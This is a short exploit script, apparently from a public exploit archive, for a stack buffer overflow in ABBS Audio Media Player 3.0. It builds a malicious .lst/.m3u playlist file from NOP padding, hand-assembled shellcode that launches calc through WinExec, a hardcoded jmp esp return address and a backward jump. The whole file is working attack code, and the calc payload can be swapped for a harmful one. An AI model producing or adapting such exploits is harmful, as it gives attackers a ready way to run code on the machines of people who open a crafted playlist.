# Exploit: ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)
# Date: 14.03.11
# Author: Rh0 (Rh0[at]z1p.biz)
# Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip
# Version: 3.0
# Tested on: WinXP Pro SP3 EN (VirtualBox)
print "[*] Stack buffer overflow in ABBS Audio Media Player 3.0 [*]"
bufferlen = 4108; # buffer until return address overwrite
nops = "\x90" * 5;
## WinExec("calc",1)
shellcode = (
"\x33\xC0" # xor eax,eax
"\x50" # push eax
"\x68\x63\x61\x6C\x63" # push 'calc'
"\x8B\xDC" # mov ebx, esp
"\xB0\x01" # mov al, 1
"\x50" # push eax
"\x53" # push ebx
"\xB8\x0C\x25\x86\x7C" # mov eax, 7C86250C
"\x04\x01" # add al, 1
"\xFF\xD0" # call eax (WinExec@kernel32.dll)
)
ret = "\x87\xa7\xa7\x7c"; # jmp esp @user32.dll (0x7ca7a787)
esp = "\xe9\xeb\xef\xff\xff"; # jmp backwards 4116 bytes
buffer = nops
buffer += shellcode
buffer += "A" * (bufferlen - len(buffer))
buffer += ret;
buffer += esp;
try:
A = open("exploit.lst","wb") # exploit works also with .m3u
A.write(buffer)
A.close()
print "[*] exploit.lst created [*]"
except:
print "[*] Error while creating file [*]"
print "[*] Enter to continue.. [*]"
raw_input()